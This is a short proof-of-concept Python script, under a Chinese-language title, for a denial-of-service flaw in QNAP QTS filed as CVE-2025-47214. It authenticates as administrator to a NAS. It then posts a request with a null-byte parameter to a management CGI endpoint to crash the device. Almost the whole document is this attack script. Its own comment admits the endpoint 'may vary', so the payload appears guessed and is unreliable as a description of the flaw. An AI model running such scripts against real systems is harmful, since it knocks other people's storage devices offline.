CVE-2025-47214 QNAP QTS系统空指针解引用拒绝服务漏洞

# CVE-2025-47214 - QNAP QTS NULL Pointer Dereference DoS PoC # Note: This vulnerability requires administrator privileges (PR:H) to exploit. # The attacker must first obtain valid admin credentials before triggering the NULL pointer dereference. import requests import sys TARGET_HOST = "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" # Attacker must possess valid admin credentials def trigger_null_deref(): """ Trigger NULL pointer dereference by sending crafted request to vulnerable QTS endpoint after authenticating as admin. """ session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" login_data = { "user": ADMIN_USER, "pwd": ADMIN_PASS } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) if resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authenticated as administrator") except Exception as e: print(f"[-] Connection error: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The exact endpoint may vary; this targets a known vulnerable path vuln_url = f"{TARGET_HOST}/cgi-bin/management/manageme.cgi" crafted_payload = { "func": "extra_get", # Malformed/missing parameters that trigger NULL pointer dereference "param": "\x00", } try: resp = session.post(vuln_url, data=crafted_payload, verify=False, timeout=10) print(f"[*] Response status: {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Target appears to have crashed (DoS successful)") return True except Exception as e: print(f"[*] Exception: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-47214 PoC - QNAP QTS NULL Pointer Dereference DoS") print("[*] WARNING: Requires valid admin credentials") trigger_null_deref()